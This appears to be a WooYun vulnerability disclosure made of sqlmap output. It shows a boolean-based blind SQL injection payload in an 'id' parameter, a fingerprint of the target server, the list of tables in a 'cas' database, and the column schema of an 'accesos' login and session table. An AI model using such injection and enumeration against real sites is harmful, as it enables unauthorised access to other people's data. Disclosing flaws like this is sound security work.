WooYun.org

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=3136 AND 9587=9587
    Vector: AND [INFERENCE]
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL >= 5.0.0

back-end DBMS: MySQL 5
Database: cas
[30 tables]
+----------------------------------+
| accesos                          |
| arquivos                         |
| arquivos_campos_palabras         |
| bloqueo_ip                       |
| campos                           |
| configuracions                   |
| configuracions_datos             |
| directorios                      |
| grupos                           |
| palabras                         |
| pfn_accesos                      |
| pfn_arquivos                     |
| pfn_arquivos_campos_palabras     |
| pfn_bloqueo_ip                   |
| pfn_campos                       |
| pfn_configuracions               |
| pfn_configuracions_datos         |
| pfn_directorios                  |
| pfn_grupos                       |
| pfn_palabras                     |
| pfn_raices                       |
| pfn_raices_grupos_configuracions |
| pfn_raices_usuarios              |
| pfn_sesions                      |
| pfn_usuarios                     |
| raices                           |
| raices_grupos_configuracions     |
| raices_usuarios                  |
| sesions                          |
| usuarios                         |
+----------------------------------+

Database: cas
Table: accesos
[8 columns]
+---------+---------------------+
| Column  | Type                |
+---------+---------------------+
| session | varchar(100)        |
| data    | int(10) unsigned    |
| donde   | varchar(50)         |
| estado  | tinyint(1) unsigned |
| id      | int(10) unsigned    |
| ip      | varchar(15)         |
| login   | varchar(50)         |
| ultimo  | int(10) unsigned    |
+---------+---------------------+